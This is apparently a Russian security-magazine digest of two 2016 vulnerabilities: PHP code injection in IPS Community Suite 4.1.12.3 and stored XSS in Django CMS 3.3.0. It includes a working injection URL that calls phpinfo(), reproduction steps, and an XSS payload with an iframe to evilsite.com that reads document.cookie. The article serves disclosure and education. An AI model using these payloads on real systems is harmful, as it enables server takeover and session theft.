Инъекция PHP-кода в IPS Community Suite 4.1.12.3

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 7 июля 2016 года
Автор: Egidio Romano
CVE: 2016-6174

IPS Community Suite — это популярный движок для создания форумов, ранее известный под именем IP.Board, частый гость на страницах нашего журнала, пусть и с большими перерывами. Сегодняшняя уязвимость позволит нам выполнить произвольный PHP-код на сервере. Сама ошибка находится в скрипте /applications/core/modules/front/system/content.php:

$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
{
  \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
}

Как обычно, проблема кроется в параметре HTTP-запроса content_class — введенные пользователем данные недостаточно хорошо проверяются перед использованием при вызове функции class_exists() в строке 40. Это позволяет неавторизованному атакующему внедрить и выполнить свой PHP-код, опираясь на автозагрузку функций, определенных в скрипте /applications/cms/Application.php:

if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
{
  $databaseId = mb_substr( $class, 14 );
  eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]
}
 

EXPLOIT

Пример выполнения функции phpinfo():

http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*

По словам автора, для успешной эксплуатации требуется, чтобы IPS Community Suite был запущен под PHP с версиями 5.4.24 или 5.5.8.

Оригинальный отчет об уязвимости.

 

TARGETS

  • IPS Community Suite <= 4.1.12.3.
 

SOLUTION

Есть исправление от производителя.

 

Хранимая XSS в Django CMS 3.3.0 (Editor Snippet)

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 19 июля 2016 года
Автор: Vulnerability-Lab
CVE: 2016-6186

Думаю, что рассказывать подробно про один из самых популярных Web-фреймворков на языке Python — Django — тебе уж точно не надо. Django CMS как раз и основана на нем, а в исправлении сегодняшней уязвимости участвовали сами мемберы Django Security Team и Django Service Developer Team.

Уязвимость находится в значении поля Name для формы Editors — Code Snippet. Атакующий может внедрить туда свой собственный код, чтобы получить хранимую XSS. После ее добавления в список управление передается на ./djangocms_snippet/snippet/. Полученное содержимое никак не обрабатывается, и в результате у нас появляется возможность выполнить любую полезную нагрузку внутри тега option.

Надо сказать, что эта уязвимость вообще-то не такая опасная, ведь она требует аккаунта с достаточными правами. Для ее успешной эксплуатации понадобится угнать сессию, провести фишинг-атаку или каким-то похожим образом получить хотя бы временный доступ к учетке.

 

EXPLOIT

Для воспроизведения уязвимости нужно сделать следующее:

  1. Авторизоваться в Django CMS на сайте.
  2. Открыть структуру модуля.
  3. Кликнуть на редактирование страницы модуля (замечу, что теперь редактор открывается с плагинами по умолчанию).
  4. Отметить кусок текста и кликнуть на плагин с фрагментами кода, чтобы настроить установки по умолчанию.
  5. Кликнуть на плюс, чтобы добавить новый фрагмент (snippet) кода.
  6. Вставить JavaScript-код с полезной нагрузкой в поле ввода Name.
  7. Сохранить, используя POST-запрос.
  8. Теперь кликнуть на выпадающий список и выбрать созданную полезную нагрузку.
  9. Скрипт выполняется при прокрутке выпадающего списка без какой-либо фильтрации.
  10. Profit!

С помощью внедрения таких фрагментов можно эксплуатировать и другие аккаунты. Когда другой привилегированный пользователь включит у себя этот фрагмент, то вызовет выполнение полезной нагрузки.

...
<fieldset class="module aligned ">
  <div class="form-row field-snippet">
    <div>
      <label class="required" for="id_snippet">Snippet:</label>
      <div class="related-widget-wrapper">
        <select id="id_snippet" name="snippet">
          <option value="">---------</option>
          <option value="3" selected="selected">"><"<img decoding="async" src="x">%20%20>"<iframe src="a">%20<iframe>
            "><"<img decoding="async" src="x">%20%20>"<iframe src=http://evilsite.com onload=alert(document.cookie)<>[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]%20<iframe></iframe></option>
          <option value="1">Social AddThis</option>
          <option value="2">tour "><"<img decoding="async" src="x">%20%20>"<iframe src=a>%20<iframe></option>
        </select>
        <a href="/en/admin/djangocms_snippet/snippet/3/?_to_field=id&_popup=1" class="related-widget-wrapper-link change-related" id="change_id_snippet" data-href-template="/en/admin/djangocms_snippet/snippet/__fk__/?_to_field=id&_popup=1" title="Change selected Snippet">
          <img decoding="async" loading="lazy" src="/static/admin/img/icon_changelink.gif" alt="Change" height="10" width="10">
        </a>
        <a class="related-widget-wrapper-link add-related" id="add_id_snippet" href="/en/admin/djangocms_snippet/snippet/add/?_to_field=id&_popup=1" title="Add another Snippet">
          <img decoding="async" loading="lazy" src="/static/admin/img/icon_addlink.gif" alt="Add" height="10" width="10">
        </a>
      </div>
    </div>
  </div>
</fieldset>
...

А вот пример запроса, который выберет данные для выпадающего списка:

GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/a/[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]

В оригинальном отчете от Vulnerability-Lab представлен полный лог сессии в момент эксплуатации.

 

TARGETS

  • Django Framework — Content Management System 3.3.0;
  • Django Framework — Content Management System MDB, 1.10, 1.9, 1.8 и 1.7.
 

SOLUTION

Есть исправление от производителя.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии